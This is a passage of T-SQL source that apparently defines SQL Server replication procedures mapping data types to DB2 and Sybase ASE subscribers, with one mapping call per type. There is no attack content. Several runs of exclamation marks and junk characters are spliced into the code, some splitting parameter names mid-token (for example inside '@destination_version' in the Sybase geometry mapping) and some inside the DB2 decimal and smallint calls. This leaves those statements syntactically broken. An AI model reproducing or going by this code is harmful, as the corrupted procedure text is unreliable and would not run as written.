	-- varchar(max)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varchar(max)',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	IF @destination_version LIKE '8%'
	BEGIN
		-- nvarchar(max)
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nvarchar(max)',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	END
	ELSE
	BEGIN
		-- nvarchar(max)
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nvarchar(max)',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NCLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(4I|v}
--
-- Name:
--		sp_MSrepl_MSSQL_DB2_datatypemappings
--
-- Description:
--		Define SQL -> DB2 subscriber mappings
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--

CREATE PROCEDURE sys.sp_MSrepl_MSSQL_DB2_datatypemappings
(
	@source_dbms			sysname,
	@source_version			sysname = NULL,
	@destination_dbms		sysname,
	@destination_version		sysname = NULL
)
AS
BEGIN
    DECLARE @msg nvarchar(4000)
    SELECT @msg = 'Creating datatype mappings for ' +
                    @source_dbms +
                    CASE
                        WHEN @source_version IS NOT NULL THEN @source_version
                        ELSE N''
                    END + ' to ' +
                    @destination_dbms + 
                    CASE
                        WHEN @destination_version IS NOT NULL THEN @destination_version
                        ELSE N''
                    END
    PRINT @msg

	-- bigint
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'bigint',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'DECIMAL',
											@destination_precision	= 19,
											@destination_scale	= 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- binary
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'binary',
											@source_length_min      = 1,
											@source_length_max      = 254,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CHAR () FOR BIT DATA',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- binary
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'binary',
											@source_length_min      = 255,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR () FOR BIT DATA',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- bit
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'bit',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'SMALLINT',
											@destination_nullable	= 1,
											@is_default				= 1

	-- char
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'char',
											@source_length_min      = 1,
											@source_length_max      = 254,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CHAR',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- char
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'char',
											@source_length_min      = 255,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

    -- date
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'date',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'DATE',
											@destination_nullable	= 1,
											@is_default				= 1

	-- datetime
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'datetime',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'TIMESTAMP',
											@destination_nullable	= 1,
											@is_default				= 1

    -- datetime2
/*
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'datetime2',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'TIMESTAMP',
											@destination_nullable	= 1,
											@is_default				= 1
*/
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'datetime2',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length 	= 27,
											@destination_nullable	= 1,
											@is_default				= 1


    -- datetimeoffset
/*
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'datetimeoffset',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'TIMESTAMP',
											@destination_nullable	= 1,
											@is_default				= 1
*/
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'datetimeoffset',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length 	= 34,
											@destination_nullable	= 1,
											@is_default				= 1

	-- decimal
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'decimal',
											@source_precision_min   = 1,
											@source_precision_max   = 31,
											@source_scale_min       = 0,
											@source_scale_max       = 31,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'DECIMAL',
											@destination_precision  = -1,
											@destination_scale      = -1,
											@destination_nullable	= 1,
											@is_default				= 1
	
	-- decimal
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'decimal',
											@source_precision_min   = 32,
											@source_precision_max   = 38,
											@source_scale_min       = 0,
											@source_scale_max       = 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_length  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(42*v}   = 41,
											@destination_type		= 'VARCHAR',
											@destination_nullable	= 1,
											@is_default				= 1


	-- double precision
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'double precision',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'DOUBLE',
											@destination_nullable	= 1,
											@is_default				= 1

	-- float
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'float',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'FLOAT',
											@destination_nullable	= 1,
											@is_default				= 1

	-- geography
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'geography',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR () FOR BIT DATA',
											@destination_length     = 4000,
											@destination_nullable	= 1,
											@is_default				= 1

	-- geometry
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'geometry',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR () FOR BIT DATA',
											@destination_length     = 4000,
											@destination_nullable	= 1,
											@is_default				= 1

	-- hierarchyid
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'hierarchyid',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR () FOR BIT DATA',
											@destination_length     = 900,
											@destination_nullable	= 1,
											@is_default				= 1

	-- image
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'image',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR () FOR BIT DATA',
											@destination_length     = 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- int
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'int',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'INT',
											@destination_nullable	= 1,
											@is_default				= 1

	-- money
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'money',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'DECIMAL',
											@destination_precision  = 19,
											@destination_scale      = 4,
											@destination_nullable	= 1,
											@is_default				= 1

	-- nchar
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nchar',
											@source_length_min      = 1,
											@source_length_max      = 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1
	
	-- ntext
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'ntext',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length     = 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- numeric
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'numeric',
											@source_precision_min   = 1,
											@source_precision_max   = 31,
											@source_scale_min       = 0,
											@source_scale_max       = 31,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'DECIMAL',
											@destination_precision  = -1,
											@destination_scale      = -1,
											@destination_nullable	= 1,
											@is_default				= 1
	
	-- numeric
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'numeric',
											@source_precision_min   = 32,
											@source_precision_max   = 38,
											@source_scale_min       = 0,
											@source_scale_max       = 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length  = 41,
											@destination_nullable	= 1,
											@is_default				= 1

	-- nvarchar
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nvarchar',
											@source_length_min      = 1,
											@source_length_max      = 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- real
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'real',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'REAL',
											@destination_nullable	= 1,
											@is_default				= 1
											
	-- smalldatetime
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'smalldatetime',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'TIMESTAMP',
											@destination_nullable	= 1,
											@is_default				= 1

	-- smallint
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'smallint',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<#44c}@destination_type		= 'SMALLINT',
											@destination_nullable	= 1,
											@is_default				= 1

	-- smallmoney
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'smallmoney',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'DECIMAL',
											@destination_precision  = 10,
											@destination_scale      = 4,
											@destination_nullable	= 1,
											@is_default				= 1

	-- sql_variant
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'sql_variant',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length		= 4000,
											@destination_nullable	= 1,
											@is_default				= 1

	-- sysname
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'sysname',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length     = 128,
											@destination_nullable	= 1,
											@is_default				= 1

	-- text
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'text',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length     = 0,
											@destination_nullable	= 1,
											@is_default				= 1

    -- time
/*
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'time',
											@source_length_min      = 0,
											@source_length_max      = 0,
											@source_scale_min       = 0,
											@source_scale_max       = 0,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'TIME',
											@destination_nullable	= 1,
											@is_default				= 1
*/
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'time',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length		= 16,
											@destination_nullable	= 1,
											@is_default				= 1

	-- timestamp
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'timestamp',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CHAR () FOR BIT DATA',
											@destination_length     = 8,
											@destination_nullable	= 1,
											@is_default				= 1

	-- tinyint
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'tinyint',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'SMALLINT',
											@destination_nullable	= 1,
											@is_default				= 1

	-- uniqueidentifier
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'uniqueidentifier',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CHAR',
											@destination_length     = 38,
											@destination_nullable	= 1,
											@is_default				= 1

	-- varbinary
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varbinary',
											@source_length_min      = 1,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR () FOR BIT DATA',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- varchar
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varchar',
											@source_length_min      = 1,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- xml
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'xml',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length     = 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- varbinary(max)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varbinary(max)',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR () FOR BIT DATA',
											@destination_length     = 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- varchar(max)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varchar(max)',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length     = 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- nvarchar(max)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nvarchar(max)',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR',
											@destination_length     = 0,
											@destination_nullable	= 1,
											@is_default				= 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(#57vQ)
--
-- Name:
--		sp_MSrepl_MSSQL_SAS_datatypemappings
--
-- Description:
--		Define SQL -> Sybase AS subscriber mappings
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--

CREATE PROCEDURE sys.sp_MSrepl_MSSQL_SAS_datatypemappings
(
	@source_dbms			sysname,
	@source_version			sysname = NULL,
	@destination_dbms		sysname,
	@destination_version		sysname = NULL
)
AS
BEGIN
    DECLARE @msg nvarchar(4000)
    SELECT @msg = 'Creating datatype mappings for ' +
                    @source_dbms +
                    CASE
                        WHEN @source_version IS NOT NULL THEN @source_version
                        ELSE N''
                    END + ' to ' +
                    @destination_dbms + 
                    CASE
                        WHEN @destination_version IS NOT NULL THEN @destination_version
                        ELSE N''
                    END
    PRINT @msg

	-- bigint
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'bigint',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'decimal',
											@destination_precision	= 19,
											@destination_scale     = 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- binary
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'binary',
											@source_length_min      = 1,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'binary',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- bit
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'bit',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'bit',
											@destination_nullable	= 1,
											@is_default				= 1

	-- char
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'char',
											@source_length_min      = 1,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'char',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- date
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'date',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'date',
											@destination_nullable	= 1,
											@is_default				= 1

	-- datetime
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'datetime',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'datetime',
											@destination_nullable	= 1,
											@is_default				= 1


    -- dateime2
/*
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'datetime2',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'datetime',
											@destination_nullable	= 1,
											@is_default				= 1
*/


	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'datetime2',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varchar',
											@destination_length	    = 27,
											@destination_nullable	= 1,
											@is_default				= 1

/*
    -- datetimeoffset
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'datetimeoffset',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'datetime',
											@destination_nullable	= 1,
											@is_default				= 1

*/
    -- datetimeoffset
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'datetimeoffset',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'varchar',
											@destination_length	    = 34,
											@destination_nullable	= 1,
											@is_default				= 1



	-- decimal
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'decimal',
											@source_precision_min   = 1,
											@source_precision_max   = 38,
											@source_scale_min       = 0,
											@source_scale_max       = 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'decimal',
											@destination_precision  = -1,
											@destination_scale      = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- double precision
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'double precision',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'double precision',
											@destination_nullable	= 1,
											@is_default				= 1

	-- float
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'float',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'float',
											@destination_nullable	= 1,
											@is_default				= 1

	-- geography
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'geography',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'image',
											@destination_nullable	= 1,
											@is_default				= 1

	-- geometry
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'geometry',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @desti!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(#5[AvQ)nation_version,
											@destination_type		= 'image',
											@destination_nullable	= 1,
											@is_default				= 1

	-- hierarchyid
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'hierarchyid',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'image',
											@destination_nullable	= 1,
											@is_default				= 1

	-- image
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'image',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'image',
											@destination_nullable	= 1,
											@is_default				= 1

	-- int
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'int',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'int',
											@destination_nullable	= 1,
											@is_default				= 1

	-- money
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'money',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'money',
											@destination_nullable	= 1,
											@is_default				= 1

	-- nchar
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nchar',
											@source_length_min      = 1,
											@source_length_max      = 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'nchar',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- nvarchar
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nvarchar',
											@source_length_min      = 1,
											@source_length_max      = 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'nvarchar',
											@destination_length     = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- ntext
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'ntext',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'text',
											@destination_nullable	= 1,
											@is_default				= 1

	-- numeric
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'numeric',
											@source_precision_min   = 1,
											@source_precision_max   = 38,
											@source_scale_min       = 0,
											@source_scale_max       = 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'numeric',
											@destination_precision  = -1,
											@destination_scale      = -1,
											@destination_nullable	= 1,
											@is_default				= 1

	-- real
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'real',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'real',
											@destination_nullable	= 1,
											@is_default				= 1
